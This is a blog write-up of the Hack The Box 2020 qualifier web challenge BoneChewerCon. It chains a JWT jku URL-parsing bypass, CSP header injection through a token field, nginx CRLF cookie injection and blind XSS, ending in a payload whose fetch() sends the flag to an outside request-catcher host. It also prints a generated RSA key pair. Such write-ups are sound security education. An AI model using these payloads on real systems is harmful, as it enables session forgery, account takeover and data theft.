Hack The Box HTB x Uni Qualifier CTF 2020 – BoneChewerCon (Web) Write-up

Preface (Unrelated, you can skip)

Hack The Box x University Qualifier CTF is held over a weekend from 20 November 2020 (Friday) to 22 November 2020 (Sunday) 13:00 UTC. Now before you look at the release date of this blog post and judge my laziness, the qualifier was held at the beginning of my- what I’d call as the “assignment peak period”, where I have to start rushing my university assignments and compete with the submission due date, caused by my heavy procrastination during the first month or so when the assignment is announced. Fine, yes, it still boils down to my laziness after all, but life outside of assignments is so much colourful and fun 🙁

I submitted my last assignment at 18 December, then followed by two weeks of online open-book examinations which ends on 31 December (haha Christmas holiday goes brrr). I could really use a break and let this write-up be one of those projects that just fade over time and eventually forgotten, but then the question maker kinda nudged me for the write-up again, and at this point I probably promised too many people that I’ll do this to break my promise.

Screenshot of the question maker's chat message on Discord stating "still waiting for writeup for the 1 solve on BoneChewerCon"
makelaris (the question maker of BoneChewerCon)’s message on the HTB Discord server

Not to mention that I’m cursed (or blessed) to be the only person to solve this challenge, so I guess I’m legally obligated to do this write-up.

Question

The question is rated 4 out of 4 stars on the difficulty scale and has a downloadable docker image. The site itself only has a single publicly-accessible page which allows you to submit your topic for the “BoneChewer Event”.

BoneChewerCon index page
BoneChewerCon’s index page

There’s also a hyperlink at the footer of the page that should lead to the admin’s interface, but we don’t have the permission to look at it.

Forbidden message when we attempt to view the admin page as a guest
Attempting to view the admin page as a guest fails

Only admins are allowed to look at the admin page, so let’s try to be one. There should be some session data stored in the cookie that contains information about our identity right now. Opening the developers console and refreshing, we can see a JSON Web Token (JWT) stored in the auth cookie, identifiable by three separate Base64URL (a variant of Base64 whereby + and / is replaced by - and _ respectively) strings concatenated with a period (.).

JWT cookie as seen in the network request to /list endpoint
JWT cookie as seen in the network request to /list endpoint

To look at more details of this JWT, we can toss this cookie string into JWT.IO.

JWT details as seen on jwt.io

In the payload, we can see a field for username. It’s very likely that this is the field used by the website to identify whether if we’re an admin. However, it doesn’t mean that we can just edit the payload and we’ll get another valid JWT, because the blue part is a signature that is used to verify the integrity of the data. If we changed the payload (the purple part) but not the signature, they would no longer match and the server would know the JWT has been tampered with. This is why JWT is a secure choice used by a lot of sites to store session data, that is, if implemented correctly.

The algorithm used by this JWT in particular is RS256, which is RSA + SHA-256. Contrary to HS256, which is HMAC + SHA-256, that I’ve personally seen being used more often, RSA variants of JWT generates the signature with a private key, meanwhile a public key can be used by the public to verify if the signature is accurate. On the other hand, HMAC ones creates and verifies a JWT with the same key, so it cannot be shared, thus robbing the ability from the public to verify a JWT.

One of the ways these RS256 public keys are shared is via the jku entry (short for JWK Set URL) in the header part (red section in screenshot) of a JWT, containing a URL pointing to a publicly accessible JSON file that contains JWK Sets (JWKS), which a collection of JSON Web Key (JWK). If you look at the aforementioned part of our JWT, it has the data http://localhost/.well-known/jwks.json. To the web server’s perspective, localhost would be this BoneChewerCon website itself, but we can still access it by replacing localhost with the docker instance’s domain provided by HTB.

JWKS of BoneChewerCon
JWKS as can be seen by accessing jwks.json

You can read more about how these public keys are shared in this article called “The Hard Parts of JWT Security Nobody Talks About” by Ping Identity.

We can try checking if this JWK set is valid against our JWT in jwt.io. However, jwt.io doesn’t take the JWK format, so we have to encode it in a public key certificate format. I didn’t know how to do that, but my teammate helped out by telling me that we can do so by using a tool called RsaCtfTool, where we only have to supply the n and e values of the public key.

python RsaCtfTool.py -n 22649128544398732455273798423632367981653538202569630291341154890280667574464267070319649312083527838071099075556838142638852709314730137969828251683569105425413727645742429921250360228761389826050284798531092947830993816975655450500420660596271676669522874842083554194789122720820066760299508592154499159664217802552461323384659709925246434259304834571571629115200654334047626041605751445327036317273759835924406352123676763061276010025338880475167181254554645733890013754137636490270752670190531839172806693282300644079954936940987656761609310303713120521113991555824781105611386235777570438099936456104823052310207 -e 65537 --createpub
Command line output of generating public key certificate with RsaCtfTool
Command line output of generating public key certificate with RsaCtfTool

Now we can copy and paste this public key certificate into JWT.IO, and we’ll see that the signature is now verified.

Pasting the public key in jwt.io shows signature verified
Pasting the public key in JWT.IO shows that our signature is valid

So can we finally edit the payload now? Well, no. As I’ve mentioned, the public key can only be used to verify if a JWT is valid, but to edit it, we would need the private key as well, but that’s hidden from our reach.

JKU Claim Misuse by exploiting URL Parsing Mistake

Let’s move our focus to the jku attribute. Would the server try and read the public key from whatever URL we supply in the JWT? Let’s edit it in the JWT and try it out. But wait, wouldn’t the signature be invalid if we edit the data? Well yes, but actually no. I’ll talk about this later. Unfortunately, JWT.IO refuses to modify the header for us because it cannot generate a valid signature unless a private key is provided, so let’s go manual.

Process of modifying JWT header value visualised
Modifying JWT header value manually (yes the image is edited with Paint, particularly jspaint.app)

We can take the header part of the JWT and use a Base64 decoder to decode it, modify the jku value, then Base64 encode it back, and replace the header in the original JWT with it. I edited the jku value to use a Request Catcher domain to easily see any requests that got sent to it. Usually, I use the JavaScript atob() and btoa() functions in the DevTools console to quickly encode and decode Base64 respectively.

We can supply this modified JWT as the “auth” cookie value via an extension of your choice or Burp Suite. Most people use the EditThisCookie extension, but personally I used ModHeader as it is more versatile.

With the cookie injected and refreshing the page, we got an error message.

Error message says "Invalid provider"
Error message shown after injecting cookie and refreshing the page

Time to open up the code and get digging! By opening the whole docker folder in Sublime Text and use “Find in Files…” to search for the error message Invalid provider, we get one result, at challenge/application/models.py.

Search results of "invalid provider"
Search results for “Invalid provider” in Sublime Text

The result shown is located in a function defined as fetch_jku(url) in the session class. Below is a copy of the full function.

@staticmethod
def fetch_jku(url):
	domain = SCHEME_RE.sub('', url).partition('/')[0]
	scheme = re.match(SCHEME_RE, url)
	
	if not scheme or not filter(lambda x: scheme.group(0) in x, ('http://', 'https://')):
		return abort(400, 'Invalid scheme')

	if '@' in url:
		domain = domain.split('@')[1]

	if ':' in domain:
		domain, port = domain.split(':')

	if 'port' in locals() and not filter(lambda x: port in x, ('80', '8080', '5000')):
		return abort(400, 'Invalid port')

	if not domain == current_app.config.get('AUTH_PROVIDER'):
		return abort(400, 'Invalid provider')

	jwks = requests.get(url)

	if not jwks.url.endswith('jwks.json'):
		return abort(400, 'Invalid jwks endpoint')

	if not jwks.status_code == 200:
		return abort(500, 'Invalid response status code from provider')

	if not jwks.headers.get('Content-Type', '') == 'application/json':
		return abort(500, 'Invalid response from provider')

	return jwks.json()

There’s quite a number of conditions, but the Python code is very well formatted with each condition followed by two newlines, so I’ll cut the need to make a bullet point list of reiterating the conditions. I mean.. I’m not asking you to look at a messy IDA Pro Assembly output. ¯\_(ツ)_/¯

Our condition failed the check for not domain == current_app.config.get('AUTH_PROVIDER'), whereby AUTH_PROVIDER is fixed as the string “localhost“. These configuration constants are defined in challenge/application/config.py.

The variable domain is extracted from url by first stripping off the URI scheme with a regex, and extract the substring before the / character. Then, the substring is split into a list with @ as the delimiter, picking the second value (this is where a problem lies), then it is split into domain and port variables with the : delimiter. If this parsing doesn’t make sense to you, HTTP URL scheme allows for adding credentials for Basic authentication in the URL in the format of https://username:[email protected]/. Here’s the MDN docs for it.

However, domain = domain.split('@')[1] allows the domain checking to be bypassed if we use a payload like http://abc@[email protected]/. The domain variable will contain the string “localhost” and bypassing the check, but when the HTTP client, Python’s requests module in this case, looks at the URL, it would send the request to google.com and treat username@localhost as the Basic authentication username. You can see this behaviour in action in your browser as well.

Typing "http://yahoo.com%40google.com@bing.com/" in Google Chrome
Google Chrome takes the last domain when I write a URL consisted of three domains delimited with ‘@’ in the omnibox

If you’re interested in the other odd behaviours of URL parsing, I recommend taking a look at “A New Era of SSRF – Exploiting URL Parser in Trending Programming Languages!” presented by Orange Tsai in Black Hat Asia 2018. He’s one of my favourite security researchers and he presents some really interesting web topics as well besides this so I’d recommend following him.

With that in mind, let’s try setting the jku to be http://abc@[email protected]/.well-known/jwks.json, encode it, set it as the cookie, and refresh the page again.

Request Catcher shows hit from the web server by Python requests module
Request Catcher showing hits from Python requests module

We’ve got hits from the web server! It means that we’ve bypassed the checking mechanism and the server is now trying to read public keys from a source that we control, but we’re getting an error only because Request Catcher isn’t returning a JWKS as the response. Since we still need a private key to start creating our own JWT, we’ll generate an entirely new pair of public and private key. We’ll keep the private key to ourselves to create the JWT, and host the public key somewhere while instructing the server to read it from our host. I used an online RSA key generator to generate the pair, then fill it in JWT.IO.

Generated 2048-bit RSA public and private key pair
An 2048-bit RSA public and private key pair generated from Online RSA Key Generator
Filling in the public and private key in JWT.IO
Filling in the generated public and private key pair into JWT.IO

With both blanks filled, we get to use JWT.IO to its fullest and start generating valid JWT when we freely edit any data. Next, remember that we have to host the public key somewhere. Since JWK uses n and e values as the format instead of the public key certificate format, we can once again use RsaCtfTool to convert it. (Note that /content/public.key is a text file storing the public key certificate string)

python RsaCtfTool.py --publickey /content/public.key --dumpkey
Output of RsaCtfTool to generate n and e values
Output of RsaCtfTool to generate n and e values

Then, copy the original jwks.json file and replace the existing n and e values with our generated ones, then host it on your domain (the file name has to end with jwks.json as there is a check for it).

Hosting the public key
Hosting the public key on my web host

If you don’t have a personal web host, you can upload the file named as jwks.json on Discord and use Discord’s CDN as the jku value, ex. https://a@[email protected]/attachments/671xxxxxxxxxxxx009/796xxxxxxxxxxxx668/jwks.json. I’ve tried Pastebin but it doesn’t serve the correct Content-Type header of application/json, which is required as per the Python code shown above. GitHub + GitHack might work but I have not tested it.

After hosting it, edit jku with the URL and the prefix bypass for the domain. Since we’re going for admin, change our username to admin, and lastly, there’s a check for the JWT expiry with the exp field, so we’ll just put it to a high epoch timestamp and leave it as such.

Generating JWT with edited values in JWT.IO

Now we’re ready with an admin JWT! Inject it into our cookie, surf the admin page, and…

Error message says "Your IP is not allowed"
Another error message despite being an admin

Hmm, bummer. I’ve digged around in the Python code again and it appears that there’s no way of circumventing this (no, X-Forwarded-For header bypass doesn’t work). It looks like we’ve hit a dead end here, but no worries, all the hard work here is not for nothing! It comes in handy later.

Before I move on to the next section, I think it should be clear now why modifying the header seems to work despite not matching the signature. The authenticity of the header and payload is verified with a signature using the public key that is taken from the header itself. It’s basically using an untrusted value to see if the untrusted data can be trusted. Huh. In fact, in the Python code, the function for getting the header value is named jwt.get_unverified_header(jwt_token).

Blind Cross-Site Scripting (XSS)

Let’s take a step back and look at the website itself again. The only publicly available functionality in the site is to allow you to submit a talk/topic. This sort of CTF challenge basically screams blind XSS vulnerability firing in the backend, whereby an “admin” or “staff”, which is typically emulated via a headless Chrome instance, will visit the backend admin page periodically. Looking at the code, it proves such a judgement as well, whereby the headless Chrome instance is powered by Selenium WebDriver and refreshes every fixed interval.

Hence, I tried payload like <img src="http://bonechewercon.requestcatcher.com"> and similarly with a <script> tag as well as <img src="x" onerror="fetch('http://bonechewercon.requestcatcher.com')">. I got nothing, I received no feedback. I figured maybe it wasn’t blind XSS? But it must be, because in the file challenge/application/static/js/main.js which is used in the admin page, it’s just injecting arbitrary data into DOM. Full copy of the JS file shown below.

const get_submissions = () => {
    document.getElementsByTagName('tbody')[0].innerHTML = '';
    fetch('/api/list')
    .then(resp => resp.json())
    .then(resp => {
        for(let submission of resp.submissions) {
            let template = `
                <tr>
                    <th scope="row">${submission.id}</th>
                    <td>${submission.user}</td>
                    <td>${submission.idea}</td>
                    <td>${submission.created_at}</td>
                </tr>
            `;
            document.getElementsByTagName('tbody')[0].innerHTML += template;
        }
    });

};

get_submissions();

setInterval(get_submissions, 4000);

After more struggling reading the code, I decide to just spin up my own docker instance while removing the checks that came with it. I edited this part in challenge/application/util.py in the function check_if_authenticated.

		@functools.wraps(func)
		def authenticate(*args, **kwargs):
			if 'auth' not in request.cookies:
				resp = make_response(redirect(request.path))

				username = f'guest_{generate(10)}'
				while user.username_exists(username):
					username = f'guest_{generate(10)}'

				token = generate(16)
				while user.token_exists(token):
					token = generate(16)

				user.add(username, token)
				
				resp.set_cookie('auth', session.create(username, token))
				return resp

			g.session = session.decode(request.cookies.get('auth'))
-
- 			if check_auth and g.session.get('username') != check_auth:
- 			 	return abort(403, f'You are not {check_auth}')
- 
- 			if check_ip and not request.remote_addr == '127.0.0.1':
- 			 	return abort(403, 'Your IP is not allowed')
 
			return func(*args, **kwargs)

Finally, I got a look at the admin page.

Admin page showing a red table with black background
A look at the admin page where the flag should reside in

Interesting. Now let’s try sending an XSS payload and see what happens.

Chrome DevTools showing CSP error in console
Admin page containing an injected <img> payload with DevTools open

So that’s what caused all my frustration! There is indeed a blind XSS vulnerability going on here, my payload would’ve worked, if not severely limited by a strict Content Security Policy (CSP). Looking at the request, this is the CSP header.

Content-Security-Policy: default-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none'; report-uri /api/csp-report?token=7a88ea4D059A8bF1;

We can toss this into Google’s CSP Evaluator to evaluate if there’s any weaknesses we can exploit in the CSP, but the results are pretty negative to our favour.

CSP Evaluator shows that the CSP is very secure
Security of the CSP as shown by Google’s CSP Evaluator

The CSP makes it basically impossible to fire any request to external sources, nor are we able to execute arbitrary JavaScript. Luckily, we can still redirect the client to some other web page using the <meta> redirect code. This is the payload we’ll submit as the topic.

<meta http-equiv="refresh" content="0;url=http://bonechewercon.requestcatcher.com/" />

Give it a few seconds and… we’ve got hits, again!

Request Catcher page showing hits from the server
Request Catcher page showing hits with referrer “http://localhost/list”

That’s great and all but we’re still not able to read the flag that is just inches beside our payload. For every topic we submit, it is appended below the row containing the flag in the DOM, so I thought of ways to exfiltrate the flag without using JavaScript. One of the bizarre methods I’ve thought of is to sandwich the flag between <meta http-equiv="refresh" content="0;url=[...] and />, but I would have to get the <meta opening tag to show up before the flag. The table is sorted by the topic’s ID in ascending order, which relies on SQLite’s AUTOINCREMENT. There’s no way of tricking it unless there’s an SQL injection vulnerability somewhere, which I can’t find any. However, if we take a look at the bot’s code (which emulates the headless Chrome thing) at challenge/bot.py, we can see that the SQLite database is reset every 35-ish seconds (35 seconds + however long it takes for DOM to be ready) to clear everything we’ve submitted and then repopulate the flag into the database. There might be a very slim time frame between the creation of the database’s schema and the insert of the flag row into the table, creating a race condition where I can slip my <meta opening tag in before SQLite inserts the flag row, but I figured that’s a little too crazy to try so I didn’t attempt it. After all, I’m not a fan of race condition vulnerabilities due to its difficulty and my weak Internet speed. That means, time for more code analysis!

CSP Header Injection

Further digging in the source code revealed that there is a way that I can manipulate the Content Security Policy (CSP) header. Let’s take a look at how the CSP header is generated through this code snippet I extracted from challenge/application/util.py.

SETTINGS_REPORT_CSP = {
	
	'default-src': [
		'\'self\''
	],

	'frame-ancestors': [
		'\'none\''
	],

	'object-src': [
		'\'none\''
	], 

	'base-uri': [
		'\'none\''
	]

}

# [...]

def make_csp_header(settings, report_uri=None):
	header = ''

	for directive, policies in settings.items():
		
		header += f'{directive} '
		header += ' '.join(
			(policy for policy in policies)
		)
		header += '; '

	if report_uri:
		header += f'report-uri {report_uri};'

	return header

def csp(func):
	@functools.wraps(func)
	def headers(*args, **kwargs):
		response = make_response(func(*args, **kwargs))

		REPORT_URI = f"/api/csp-report?token={g.session.get('token')}"
	
		if SETTINGS_REPORT_CSP:
			response.headers[
				'Content-Security-Policy'
			] = make_csp_header(SETTINGS_REPORT_CSP, REPORT_URI)
	
		if SETTINGS_SECURITY_PRACTICES:
			for header, directive in SETTINGS_SECURITY_PRACTICES.items():
				response.headers[header] = directive[0]
	
		return response
	return headers

Particularly, notice that the REPORT_URI is concatenated with a value “token” from g.session, which is derived from our JWT. The REPORT_URI value is then used for the report-uri directive, which is simply added to the back of the CSP header with no additional parsing.

With some Googling, and some trial and error, I end up with two additional policies to inject into the header.

  1. script-src 'self' 'unsafe-inline'
    • 'self' allows using JavaScript sources from the same domain (i.e. from itself), which is required for the DOM XSS value population to work since the actions are stored in a separate JS file.
    • 'unsafe-inline' allows us to execute our arbitrary JavaScript, either with <script>alert(1);</script> or fired from event handlers like onerror or onload.
  2. connect-src 'self' *.requestcatcher.com
    • 'self' allows the admin page to fetch the latest submitted topics by using fetch() on the /api/list endpoint, which is then appended to the DOM.
    • *.requestcatcher.com is the domain where we’ll be sending the flag to when we exfiltrate it later.
Value from JWT being injected into CSP
“token” value from JWT is reflected in the CSP header

Connecting to the unlocked admin page of our own docker instance with an injected JWT cookie containing the CSP bypass payload, sending the following blind XSS payload worked.

<img src=x onerror="fetch('https://bonechewercon.requestcatcher.com/cspbypassed')">
Hits to /cspbypassed seen in Request Catcher
Hits from our own browser to Request Catcher, proving the payload worked

However, we’re surfing this admin page ourselves, this is coming from our own browser instead of the admin client’s browser. We need to inject this cookie to the admin client somehow.

nginx Rewrite Directive Misconfiguration

The reason I got this last part solved is really all thanks to my luck instead of my skills. Looking back at my Chrome history, my Google query of “csp set cookie ctf” led me to this section in a write-up by @terjanq for Google CTF 2018’s Cat Chat. It’s nothing related to the actual solution here, but his very brief mention of Carriage-Return Line-Feed (CRLF) Injection just hit me like a train and gave me the final push I needed.

The BoneChewerCon website handles a visit to non-existent pages by redirecting the client back to the index page with an additional parameter error_path containing the URL the user was trying to visit. For example, if I visit http://domain/nonexistentpage, we will get redirected to http://domain/?error_path=/nonexistentpage, which would display the home page but with an additional message (if you’re thinking about reflected XSS here, the input is sanitized).

bash:~ nrockhouse$ curl -i http://docker.hackthebox.eu:12345/nonexistentpage
HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Sat, 09 Jan 2021 17:08:52 GMT
Content-Type: text/html
Content-Length: 138
Location: http://docker.hackthebox.eu:12345/?error_path=/nonexistentpage

<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
BoneChewerCon's home page with a message "/nonexistentpage does not exist"
BoneChewerCon’s home page but with an additional message

This behaviour led me to think that there is a possibility of CRLF, but it really depends on how this redirection is implemented. In our case, this is handled by nginx’s HTTP server, as can be seen in its configuration file in config/nginx.conf. A truncated snippet shown below.

[...]
http {
    [...]

    server {
        listen 80;
        server_name _;


        location / {
            try_files $uri @app;
        }
        
        location @app {
            include uwsgi_params;
            uwsgi_pass unix:///tmp/uwsgi.sock;
            uwsgi_intercept_errors on;
            error_page 404 = @notfound;
        }
        
        location /static {
            alias /app/application/static;
        }

        location @notfound {
            if ($uri ~ ^/list) {
                return 302 "http://$http_host/list?error_path=$uri";
            }

            return 302 "http://$http_host/?error_path=$uri";
        }
        
    }
}

That looks like a pretty official and accurate method, no custom handling of splitting or concatenating CRLFs on response headers, the directive even explicitly instructed nginx to redirect to a URL, there can’t be a vulnerability here, can it? If that’s what you’re thinking, boy were you wrong!

A Google search unveils this website showing three cases of insecure nginx HTTP configurations, Case 2 being the misuse of $uri in a redirect directive. I personally have never used nginx, but based on my understanding, nginx has internal variables, with $uri and $document_uri having the normalized version of the URI of the request, meaning that it is percent-decoded (“/%23%24%25” -> “/#$%“). To get the raw version that isn’t percent-decoded, you’d use $request_uri.

You’d think nginx would understand that \r\n shouldn’t exist in a URL and thus would either ignore it or percent-encode it for use in the Location header, otherwise that would just sound like a vulnerability on its own, but nginx deems this behaviour as a misconfiguration issue and doesn’t warrant a fix. This isn’t the only time they have blame odd behaviours like this on a developer’s misconfigurations neither, such as this nginx “off-by-slash” vulnerability also presented by Orange Tsai in Blackhat USA 2018 (Slide 17).

Alright, enough rant on nginx. As I was saying, a CRLF injection allows us to inject a header into the response, which we can abuse by adding a Set-Cookie header to inject our crafted JWT cookie onto the bot client. Since there was also an additional handling to redirect requests to any non-existent pages behind /list* back to the /list endpoint (which is the admin page) to show the “not found” error message, we wouldn’t have to worry that the “admin” bot would getting stuck on the home page with no way of rendering our blind XSS payload.

Here’s how the CRLF looks like in action.

bash:~ nrockhouse$ curl -i http://docker.hackthebox.eu:12345/list/nonexistentpage%0d%0aSet-Cookie:%20auth=insert_JWT_here%0d%0aX-NRockhouse:%20just%20to%20make%20the%20CRLF%20more%20obvious%20here
HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Sat, 09 Jan 2021 18:46:06 GMT
Content-Type: text/html
Content-Length: 138
Location: http://docker.hackthebox.eu:12345/list?error_path=/list/nonexistentpage
Set-Cookie: auth=insert_JWT_here
X-NRockhouse: just to make the CRLF more obvious here

<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx</center>
</body>
</html>

Just an additional information, since there is already an auth cookie present for the bot client before we injected a new one in, how does the browser know which auth cookie to use? Initially I assumed that the browser would just take in the newest value for a cookie that I’ve pushed to it, but turns out that according to RFC 6265, “cookies with longer paths are listed before cookies with shorter paths”. That explains why I’ve never encountered any issues, since the JWT with the additional CSP directives injected into it would’ve made the JWT longer than the original one anyway. I learnt about this from a discussion I’ve had with the question maker, makelaris, after I solved the challenge. While he’s testing locally, the application isn’t taking his cookie as a replacement for the original one, which can be solved by padding the header longer with a Path directive (Set-Cookie: auth=your_JWT_here; Path=/list). Credits to him for this extra fact.

A snippet from RFC 6265 with the aforementioned statement highlighted
Snippet from RFC 6265 (Image credits: makelaris)

Piecing everything together

Following is the final payload.

<meta http-equiv="refresh" content="2;URL='http://localhost/list%0d%0aSet-Cookie:%20auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vYUBsb2NhbGhvc3RAcm9ja2hvdXNlLmRldi8ud2VsbC1rbm93bi9qd2tzLmpzb24iLCJraWQiOiJlYTAxMDE4ZC0wZjEzLTRmYjYtYTAzYy04ODFiMGFjZjg4NmYifQ.eyJ1c2VybmFtZSI6ImFkbWluIiwidG9rZW4iOiJjN0JmMDBEMUFlNzdBOTM4OyBzY3JpcHQtc3JjICdzZWxmJyAndW5zYWZlLWlubGluZSc7IGNvbm5lY3Qtc3JjICdzZWxmJyAqLnJlcXVlc3RjYXRjaGVyLmNvbSIsImlhdCI6MTYwNjAzMzc1MCwiZXhwIjoxNjA2MDU1MzUwfQ.bInAYC_EZ-8Rd7IBdjfKC7OgDwyUag4Ptu9YE8cBchoqPGKcKEr8_VIN2S4I5pvwGflarZWax23wShlbjWvGNtIDiVnWZxs59a0N9rA8XWcJvMitMTM56GZqpDXcQMC470hgowa1t6hF8dzqxSk7azNmmsSqGTw0w4lfRI-d3nAr4CsdM8_Ef7Yovv3IzxJrrDpceCCkco7AlYmrd1MFckuL6NL9iXLCED3G_FtVrWRRgxOeqlRQ_-sWqcY-_xdUa654vn-16rX_BA7sVUKcbHx-dR3EaDyd4eKi8eKIr56yCXD1dbtfhrOmQ0Ua7Ya1_xp6S0bMS4lzqoSjZZHbVA'"/><img src=x onerror="fetch('//bonechewercon.requestcatcher.com/' + document.getElementsByTagName('td')[1].innerHTML)">

Here’s a breakdown of the payload.

  1. After the bot client receives this blind XSS payload, it waits 2 seconds to give time for the img onerror event handler to fire, but since the strict CSP is still in place at that time, it wasn’t executed. After the 2 seconds, the bot client will go to http://localhost/list%0d%0aSet-Cookie:%20auth=eyJ0eXAi[...].
  2. CRLF takes place and the new cookie is set in place of the old one. This is the individual values of the JWT:
    • Header
      • {
        	"typ": "JWT",
        	"alg": "RS256",
        	"jku": "https://a@[email protected]/.well-known/jwks.json",
        	"kid": "ea01018d-0f13-4fb6-a03c-881b0acf886f"
        }
    • Payload
      • {
        	"username": "admin",
        	"token": "c7Bf00D1Ae77A938; script-src 'self' 'unsafe-inline'; connect-src 'self' *.requestcatcher.com",
        	"iat": 1606033750,
        	"exp": 1606055350
        }
    • Signature (Public Key)
      • -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsqIE1LNRf5OObM5X8Mq5 A40sKDZkAzQwmQsa1M6g/iAEHW/v6RPCAO6OMp+yzExLx5/LZaDk17ScUrYWECck C5HfPFtHX6uoZ1+l6VLdeTBIxhEg25mu+KEawtefdhJNCKuxU+7kunv7vYAkiWi3 RT0BUMxY25p7DcYaevkm9SFlUZR0TCKZsVnWufuB3ck49eID4XbXkntIo967v2QM vBy+KKKsnCK8bipRhnZXFP+xBEliKazz0988XMCvo1ANApWBqwsktXl0qrqcFr3E oY/AazsVVw0ByLh8Xwo6iIfhDtrQT3gc9ooLIZZUqlZj1It+Jhbn/VUl+05kwIZR 6QIDAQAB
        -----END PUBLIC KEY-----
    • Signature (Private Key)
      • -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAsqIE1LNRf5OObM5X8Mq5A40sKDZkAzQwmQsa1M6g/iAEHW/v 6RPCAO6OMp+yzExLx5/LZaDk17ScUrYWECckC5HfPFtHX6uoZ1+l6VLdeTBIxhEg 25mu+KEawtefdhJNCKuxU+7kunv7vYAkiWi3RT0BUMxY25p7DcYaevkm9SFlUZR0 TCKZsVnWufuB3ck49eID4XbXkntIo967v2QMvBy+KKKsnCK8bipRhnZXFP+xBEli Kazz0988XMCvo1ANApWBqwsktXl0qrqcFr3EoY/AazsVVw0ByLh8Xwo6iIfhDtrQ T3gc9ooLIZZUqlZj1It+Jhbn/VUl+05kwIZR6QIDAQABAoIBAEQzAT8nuxzG/CBk Y0TGUP6fHlW39lUWztsPV04aGXMMTCXk/6Zv6aira1S+jefb1S7AvknttJD6Hpih dijymJtmNOF5Q/WtttzIsrIy9eV33sDn9zCAK0I3V909r17Hu+tsiYYu9dqQzVrb Gpfvh9ECaocrjV1CTGrE0IVUrF/3ncXrGttl7xUAgScN1tukIqbzuM+Qoqlk68Cm sUb0t8Vr67ilkQsh7e5JuenkKbWXj5YCQpt+5hv89hn6xlSPPm84dFO1X/gjS8uE KfbahiWn888dvNMVCOofKLHf8w2sJhUeGOEDeKQdPZWrl5ssGHXD2HFxXn4TgPb5 qRymQgUCgYEA2PMNGptQuEJbREle47TKXdeg19GI9dBXwNfAXcJ4IcU92RzGD/wZ I89N5KjcrKQ8uELUYwWAeet84rjZTEfaficUj2Bjt1QmMFT/yz67REM+YIO5qXyT ILWo8rcmSg81wFIyf3azQZh+WJwyEvR4p1elAWGZhpBVpx0d5+ab4i8CgYEA0slb JymyIKyvDU2Zmbb8rxIyulEWptXb5h1kcVlxt3p9mlIRFOX9aPCiSdEWIooKZ9Ju t+7nYzc0ye43QFTs+qP6n3oZn49aiCvICkMjSGk5OUeyFR0IZxgSxdDupGMGRlWq k7U2FMevqKDR+bbkcQ2cNykLwu/OfJoVMH23f2cCgYBDRcrQb0zudhUa7a1w6oS9 6LlFcwIHR12OvNg3uq/JuQHeqx93oXKiOgwrVXloR11UvdRiCDi4lZ8aJruq/bTw 3WlwtDD3ji5xWkofWgpztm5HO1F9DtYIlIwZB1XmLSU7x8FE6SfYtVKoY3bbjddD /Nd7wCn9IhCNS2gUmtvHnQKBgBTlc0zpnEgS9nOqKr0LX/d3JWJFIaq+bsNcTJXU GSroUMVYt2rL9hhOKriIqtoXtzpdqS5A192FHo2aOQ3+nVOnp/PhZeLkkkQHmxgx WbEXBV5BVk0ziJ63yzyjHtVbH8cfPP7Rqx/aP/bGoqpP0EvI3qC1R/42SdEecVVS UTunAoGBAKW/k59KtnVAAFDYMUVR+Kilf/IuBQU5WTndKRvp/iDZTgv9Cuq79UXx ZxPBR+mQLQHPMsnIBtS/b62zJpxEs/6EvarJTdPZVK2E8cBO6ZJeseYXVWJjbuo6 anDEXEwFBDMnnwOcqRuvA+adF0K86PEs1bukFrC8QLZX/1WXF8RM
        -----END RSA PRIVATE KEY-----
  3. At the same time the cookies are set, the admin bot gets redirected to http://localhost/list?error_path=/list.
  4. While serving the admin page once again, the server returns the following CSP response header, which is polluted by our JWT’s token value.
    • Content-Security-Policy: default-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none'; report-uri /api/csp-report?token=c7Bf00D1Ae77A938; script-src 'self' 'unsafe-inline'; connect-src 'self' *.requestcatcher.com;
  5. The bot client once again tries to load the invalid image from <img>, fails, and fires the onerror event, but this time successfully doing so due to the lax script-src CSP of unsafe-inline.
  6. JavaScript appends the flag to the parameter of fetch(), sending our flag to Request Catcher.
  7. Two seconds later, the redirect in Step 1 executes, and the cycle continues until the SQLite database gets reset.

Finally, we get to see the flag in all its glory from Request Catcher.

Flag as seen from Request Catcher
Flag as seen from Request Catcher

Flag: HTB{CSP_41NT_ST0PPING_M3_FR0M_PL4G14R1SN5}

Now I can finally have my break, this write-up took nearly a week to finish and is probably longer than some of the university assignments I’ve submitted in terms of word count. Feel free to DM me on Twitter @NRockhouse or Discord NRockhouse#4157 if you have any questions.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.